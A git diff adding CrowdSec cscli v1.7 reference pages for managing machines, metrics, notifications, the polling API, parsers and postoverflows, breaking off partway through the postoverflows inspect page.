b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_delete.md new file mode 100644 index 000000000..1a52060b8 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_delete.md @@ -0,0 +1,40 @@ +--- +id: cscli_machines_delete +title: cscli machines delete +--- +delete machine(s) by name + +``` +cscli machines delete [machine_name]... [flags] +``` + +### Examples + +``` +cscli machines delete "machine1" "machine2" +``` + +### Options + +``` + -h, --help help for delete + --ignore-missing don't print errors if one or more machines don't exist +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli machines](/cscli/cscli_machines.md) - Manage local API machines [requires local API] + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_inspect.md new file mode 100644 index 000000000..b46ee3378 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_inspect.md @@ -0,0 +1,40 @@ +--- +id: cscli_machines_inspect +title: cscli machines inspect +--- +inspect a machine by name + +``` +cscli machines inspect [machine_name] [flags] +``` + +### Examples + +``` +cscli machines inspect "machine1" +``` + +### Options + +``` + -h, --help help for inspect + -H, --hub show hub state +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli machines](/cscli/cscli_machines.md) - Manage local API machines [requires local API] + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_list.md new file mode 100644 index 000000000..dd61cc4ab --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_list.md @@ -0,0 +1,43 @@ +--- +id: cscli_machines_list +title: cscli machines list +--- +list all machines in the database + +### Synopsis + +list all machines in the database with their status and last heartbeat + +``` +cscli machines list [flags] +``` + +### Examples + +``` +cscli machines list +``` + +### Options + +``` + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli machines](/cscli/cscli_machines.md) - Manage local API machines [requires local API] + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_prune.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_prune.md new file mode 100644 index 000000000..9f4bb42b1 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_prune.md @@ -0,0 +1,48 @@ +--- +id: cscli_machines_prune +title: cscli machines prune +--- +prune multiple machines from the database + +### Synopsis + +prune multiple machines that are not validated or have not connected to the local API in a given duration. + +``` +cscli machines prune [flags] +``` + +### Examples + +``` +cscli machines prune +cscli machines prune --duration 1h +cscli machines prune --not-validated-only --force +``` + +### Options + +``` + -d, --duration duration duration of time since validated machine last heartbeat (default 10m0s) + --force force prune without asking for confirmation + -h, --help help for prune + --not-validated-only only prune machines that are not validated +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli machines](/cscli/cscli_machines.md) - Manage local API machines [requires local API] + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_validate.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_validate.md new file mode 100644 index 000000000..14d8e0422 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_validate.md @@ -0,0 +1,43 @@ +--- +id: cscli_machines_validate +title: cscli machines validate +--- +validate a machine to access the local API + +### Synopsis + +validate a machine to access the local API. + +``` +cscli machines validate [flags] +``` + +### Examples + +``` +cscli machines validate "machine_name" +``` + +### Options + +``` + -h, --help help for validate +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli machines](/cscli/cscli_machines.md) - Manage local API machines [requires local API] + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics.md new file mode 100644 index 000000000..453e383fc --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics.md @@ -0,0 +1,54 @@ +--- +id: cscli_metrics +title: cscli metrics +--- +Display crowdsec prometheus metrics. + +### Synopsis + +Fetch metrics from a Local API server and display them + +``` +cscli metrics [flags] +``` + +### Examples + +``` +# Show all Metrics, skip empty tables (same as "cscli metrics show") +cscli metrics + +# Show only some metrics, connect to a different url +cscli metrics --url http://lapi.local:6060/metrics show acquisition parsers + +# List available metric types +cscli metrics list +``` + +### Options + +``` + -h, --help help for metrics + --no-unit Show the real number instead of formatted with units + -u, --url string Prometheus url (http://:/metrics) +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli metrics list](/cscli/cscli_metrics_list.md) - List available types of metrics. +* [cscli metrics show](/cscli/cscli_metrics_show.md) - Display all or part of the available metrics. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_list.md new file mode 100644 index 000000000..225ea14b3 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_list.md @@ -0,0 +1,37 @@ +--- +id: cscli_metrics_list +title: cscli metrics list +--- +List available types of metrics. + +### Synopsis + +List available types of metrics. + +``` +cscli metrics list [flags] +``` + +### Options + +``` + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli metrics](/cscli/cscli_metrics.md) - Display crowdsec prometheus metrics. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_show.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_show.md new file mode 100644 index 000000000..5217e8c06 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_metrics_show.md @@ -0,0 +1,58 @@ +--- +id: cscli_metrics_show +title: cscli metrics show +--- +Display all or part of the available metrics. + +### Synopsis + +Fetch metrics from a Local API server and display them, optionally filtering on specific types. + +``` +cscli metrics show [type]... [flags] +``` + +### Examples + +``` +# Show all Metrics, skip empty tables +cscli metrics show + +# Use an alias: "engine", "lapi" or "appsec" to show a group of metrics +cscli metrics show engine + +# Show some specific metrics, show empty tables, connect to a different url +cscli metrics show acquisition parsers scenarios stash --url http://lapi.local:6060/metrics + +# To list available metric types, use "cscli metrics list" +cscli metrics list; cscli metrics list -o json + +# Show metrics in json format +cscli metrics show acquisition parsers scenarios stash -o json +``` + +### Options + +``` + -h, --help help for show + --no-unit Show the real number instead of formatted with units + -u, --url string Metrics url (http://:/metrics) +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli metrics](/cscli/cscli_metrics.md) - Display crowdsec prometheus metrics. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications.md new file mode 100644 index 000000000..4a7922bae --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications.md @@ -0,0 +1,37 @@ +--- +id: cscli_notifications +title: cscli notifications +--- +Helper for notification plugin configuration + +### Synopsis + +To list/inspect/test notification template + +### Options + +``` + -h, --help help for notifications +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli notifications inspect](/cscli/cscli_notifications_inspect.md) - Inspect notifications plugin +* [cscli notifications list](/cscli/cscli_notifications_list.md) - list notifications plugins +* [cscli notifications reinject](/cscli/cscli_notifications_reinject.md) - reinject an alert into profiles to trigger notifications +* [cscli notifications test](/cscli/cscli_notifications_test.md) - send a generic test alert to notification plugin + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_inspect.md new file mode 100644 index 000000000..2b83e9a38 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_inspect.md @@ -0,0 +1,43 @@ +--- +id: cscli_notifications_inspect +title: cscli notifications inspect +--- +Inspect notifications plugin + +### Synopsis + +Inspect notifications plugin and show configuration + +``` +cscli notifications inspect [flags] +``` + +### Examples + +``` +cscli notifications inspect +``` + +### Options + +``` + -h, --help help for inspect +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli notifications](/cscli/cscli_notifications.md) - Helper for notification plugin configuration + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_list.md new file mode 100644 index 000000000..1b839f75e --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_list.md @@ -0,0 +1,43 @@ +--- +id: cscli_notifications_list +title: cscli notifications list +--- +list notifications plugins + +### Synopsis + +list notifications plugins and their status (active or not) + +``` +cscli notifications list [flags] +``` + +### Examples + +``` +cscli notifications list +``` + +### Options + +``` + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli notifications](/cscli/cscli_notifications.md) - Helper for notification plugin configuration + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_reinject.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_reinject.md new file mode 100644 index 000000000..312b4199a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_reinject.md @@ -0,0 +1,48 @@ +--- +id: cscli_notifications_reinject +title: cscli notifications reinject +--- +reinject an alert into profiles to trigger notifications + +### Synopsis + +reinject an alert into profiles to be evaluated by the filter and sent to matched notifications plugins + +``` +cscli notifications reinject [flags] +``` + +### Examples + +``` + +cscli notifications reinject +cscli notifications reinject -a '{"remediation": false,"scenario":"notification/test"}' +cscli notifications reinject -a '{"remediation": true,"scenario":"notification/test"}' + +``` + +### Options + +``` + -a, --alert string JSON string used to override alert fields in the reinjected alert (see crowdsec/pkg/models/alert.go in the source tree for the full definition of the object) + -h, --help help for reinject +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli notifications](/cscli/cscli_notifications.md) - Helper for notification plugin configuration + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_test.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_test.md new file mode 100644 index 000000000..eed1b7b43 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_notifications_test.md @@ -0,0 +1,44 @@ +--- +id: cscli_notifications_test +title: cscli notifications test +--- +send a generic test alert to notification plugin + +### Synopsis + +send a generic test alert to a notification plugin even if it is not active in profiles + +``` +cscli notifications test [plugin name] [flags] +``` + +### Examples + +``` +cscli notifications test [plugin_name] +``` + +### Options + +``` + -a, --alert string JSON string used to override alert fields in the generic alert (see crowdsec/pkg/models/alert.go in the source tree for the full definition of the object) + -h, --help help for test +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli notifications](/cscli/cscli_notifications.md) - Helper for notification plugin configuration + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi.md new file mode 100644 index 000000000..1a02b7463 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi.md @@ -0,0 +1,31 @@ +--- +id: cscli_papi +title: cscli papi +--- +Manage interaction with Polling API (PAPI) + +### Options + +``` + -h, --help help for papi +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli papi status](/cscli/cscli_papi_status.md) - Get status of the Polling API +* [cscli papi sync](/cscli/cscli_papi_sync.md) - Sync with the Polling API, pulling all non-expired orders for the instance + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_status.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_status.md new file mode 100644 index 000000000..f34da733c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_status.md @@ -0,0 +1,33 @@ +--- +id: cscli_papi_status +title: cscli papi status +--- +Get status of the Polling API + +``` +cscli papi status [flags] +``` + +### Options + +``` + -h, --help help for status +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli papi](/cscli/cscli_papi.md) - Manage interaction with Polling API (PAPI) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_sync.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_sync.md new file mode 100644 index 000000000..d08f927bc --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_papi_sync.md @@ -0,0 +1,33 @@ +--- +id: cscli_papi_sync +title: cscli papi sync +--- +Sync with the Polling API, pulling all non-expired orders for the instance + +``` +cscli papi sync [flags] +``` + +### Options + +``` + -h, --help help for sync +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli papi](/cscli/cscli_papi.md) - Manage interaction with Polling API (PAPI) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers.md new file mode 100644 index 000000000..cb227d699 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers.md @@ -0,0 +1,45 @@ +--- +id: cscli_parsers +title: cscli parsers +--- +Manage hub parsers + +### Examples + +``` +cscli parsers list -a +cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs +cscli parsers inspect crowdsecurity/caddy-logs crowdsecurity/sshd-logs +cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs +cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs + +``` + +### Options + +``` + -h, --help help for parsers +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli parsers inspect](/cscli/cscli_parsers_inspect.md) - Inspect given parser(s) +* [cscli parsers install](/cscli/cscli_parsers_install.md) - Install given parser(s) +* [cscli parsers list](/cscli/cscli_parsers_list.md) - List parser(s) +* [cscli parsers remove](/cscli/cscli_parsers_remove.md) - Remove given parser(s) +* [cscli parsers upgrade](/cscli/cscli_parsers_upgrade.md) - Upgrade given parser(s) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_inspect.md new file mode 100644 index 000000000..2003769a0 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_inspect.md @@ -0,0 +1,58 @@ +--- +id: cscli_parsers_inspect +title: cscli parsers inspect +--- +Inspect given parser(s) + +### Synopsis + +Inspect the state of one or more parsers + +``` +cscli parsers inspect [item]... [flags] +``` + +### Examples + +``` +# Display metadata, state and ancestor collections of parsers (installed or not). +cscli parsers inspect crowdsecurity/httpd-logs crowdsecurity/sshd-logs + +# If the parser is installed, its metrics are collected and shown as well (with an error if crowdsec is not running). +# To avoid this, use --no-metrics. +cscli parsers inspect crowdsecurity/httpd-logs --no-metrics + +# Display difference between a tainted item and the latest one. +cscli parsers inspect crowdsecurity/httpd-logs --diff + +# Reverse the above diff +cscli parsers inspect crowdsecurity/httpd-logs --diff --rev +``` + +### Options + +``` + --diff Show diff with latest version (for tainted items) + -h, --help help for inspect + --no-metrics Don't show metrics (when cscli.output=human) + --rev Reverse diff output + -u, --url string Prometheus url +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli parsers](/cscli/cscli_parsers.md) - Manage hub parsers + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_install.md new file mode 100644 index 000000000..1558e34fd --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_install.md @@ -0,0 +1,65 @@ +--- +id: cscli_parsers_install +title: cscli parsers install +--- +Install given parser(s) + +### Synopsis + +Fetch and install one or more parsers from the hub + +``` +cscli parsers install [item]... [flags] +``` + +### Examples + +``` +# Install some parsers. +cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run -o raw + +# Download only, to be installed later. +cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --download-only + +# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs -i +cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --interactive +``` + +### Options + +``` + -d, --download-only Only download packages, don't enable + --dry-run Don't install or remove anything; print the execution plan + --force Force install: overwrite tainted and outdated files + -h, --help help for install + --ignore Ignore errors when installing multiple parsers + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli parsers](/cscli/cscli_parsers.md) - Manage hub parsers + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_list.md new file mode 100644 index 000000000..7e21cbf2f --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_list.md @@ -0,0 +1,51 @@ +--- +id: cscli_parsers_list +title: cscli parsers list +--- +List parser(s) + +### Synopsis + +List of installed/available/specified parsers + +``` +cscli parsers list [item... | -a] [flags] +``` + +### Examples + +``` +# List enabled (installed) parsers. +cscli parsers list + +# List all available parsers (installed or not). +cscli parsers list -a + +# List specific parsers (installed or not). +cscli parsers list crowdsecurity/caddy-logs crowdsecurity/sshd-logs +``` + +### Options + +``` + -a, --all List disabled items as well + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli parsers](/cscli/cscli_parsers.md) - Manage hub parsers + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_remove.md new file mode 100644 index 000000000..45a8df8ba --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_remove.md @@ -0,0 +1,65 @@ +--- +id: cscli_parsers_remove +title: cscli parsers remove +--- +Remove given parser(s) + +### Synopsis + +Remove one or more parsers + +``` +cscli parsers remove [item]... [flags] +``` + +### Examples + +``` +# Uninstall some parsers. +cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run -o raw + +# Uninstall and also remove the downloaded files. +cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --purge + +# Remove tainted items. +cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs -i +cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --interactive +``` + +### Options + +``` + --all Remove all the parsers + --dry-run Don't install or remove anything; print the execution plan + --force Force remove: remove tainted and outdated files + -h, --help help for remove + -i, --interactive Ask for confirmation before proceeding + --purge Delete source file too +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli parsers](/cscli/cscli_parsers.md) - Manage hub parsers + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_upgrade.md new file mode 100644 index 000000000..cf5ba1ab6 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_parsers_upgrade.md @@ -0,0 +1,61 @@ +--- +id: cscli_parsers_upgrade +title: cscli parsers upgrade +--- +Upgrade given parser(s) + +### Synopsis + +Fetch and upgrade one or more parsers from the hub + +``` +cscli parsers upgrade [item]... [flags] +``` + +### Examples + +``` +# Upgrade some parsers. If they are not currently installed, they are downloaded but not installed. +cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run -o raw + +# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs -i +cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs --interactive +``` + +### Options + +``` + -a, --all Upgrade all the parsers + --dry-run Don't install or remove anything; print the execution plan + --force Force upgrade: overwrite tainted and outdated files + -h, --help help for upgrade + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli parsers](/cscli/cscli_parsers.md) - Manage hub parsers + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows.md new file mode 100644 index 000000000..29f8703fb --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows.md @@ -0,0 +1,45 @@ +--- +id: cscli_postoverflows +title: cscli postoverflows +--- +Manage hub postoverflows + +### Examples + +``` +cscli postoverflows list -a +cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns +cscli postoverflows inspect crowdsecurity/cdn-whitelist crowdsecurity/rdns +cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdns +cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns + +``` + +### Options + +``` + -h, --help help for postoverflows +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli postoverflows inspect](/cscli/cscli_postoverflows_inspect.md) - Inspect given postoverflow(s) +* [cscli postoverflows install](/cscli/cscli_postoverflows_install.md) - Install given postoverflow(s) +* [cscli postoverflows list](/cscli/cscli_postoverflows_list.md) - List postoverflow(s) +* [cscli postoverflows remove](/cscli/cscli_postoverflows_remove.md) - Remove given postoverflow(s) +* [cscli postoverflows upgrade](/cscli/cscli_postoverflows_upgrade.md) - Upgrade given postoverflow(s) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_inspect.md new file mode 100644 index 000000000..904c483ae --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_inspect.md @@ -0,0 +1,54 @@ +--- +id: cscli_postoverflows_inspect +title: cscli postoverflows inspect +--- +Inspect given postoverflow(s) + +### Synopsis + +Inspect the state of one or more postoverflows + +``` +cscli postoverflows inspect [item]... [flags] +``` + +### Examples + +``` +# Display metadata, state and ancestor collections of postoverflows (installed or not). +cscli postoverflows inspect 